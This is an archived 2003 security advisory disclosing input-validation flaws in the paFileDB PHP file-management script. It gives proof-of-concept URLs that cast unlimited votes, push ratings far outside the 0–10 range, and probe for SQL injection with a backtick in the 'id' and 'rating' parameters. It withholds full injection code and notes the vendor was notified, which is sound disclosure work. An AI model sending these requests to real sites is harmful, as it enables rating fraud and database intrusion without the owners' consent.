Flurnet Security ---------------- paFileDB by toddat_private PHP Arena http://www.phparena.net Tested on: paFileDB 3.0 Final paFileDB 3.0 Beta 3.1 paFileDB 3.1 Final Explanation: paFileDB is a file management script that supports user file rating. It uses an SQL database backend. Multiple vulnerabilities exist due to the lack of checked input variables. The following exploits exist: - Modified 'id' tag allows users to submit unlimited ratings. - Hand-edited 'rating' tag allows users to submit ratings above 10 or below 0. - Both tags do not check for escape characters and will allow SQL injection. Proof-Of-Concept Exploits: http://target/pafiledb/pafiledb.php?action=rate&id=1[RANDOM]&rate=dorate&rating=10 Replace [RANDOM] with a random short string and the script will not be stop you from voting as many times as you like. http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=1000 Submit file rating of 1000 out of 10. Drive rate up. Conversely, -1000 would have the opposite effect driving the rating down. http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=` http://target/pafiledb/pafiledb.php?action=rate&id=`&rate=dorate&rating=10 SQL Injection vulnerability (exploit code not included) Script authors have been notified. ____________________ __ _ ~FluRDoInG flurat_private http://www.flurnet.org KEY ID 0x8C2C37C4 (pgp.mit.edu) RSA-CAST 2048/2048 1876 B762 F909 91EB 0C02 C06B 83FF E6C5 8C2C 37C4
This archive was generated by hypermail 2b30 : Mon Mar 24 2003 - 09:52:31 PST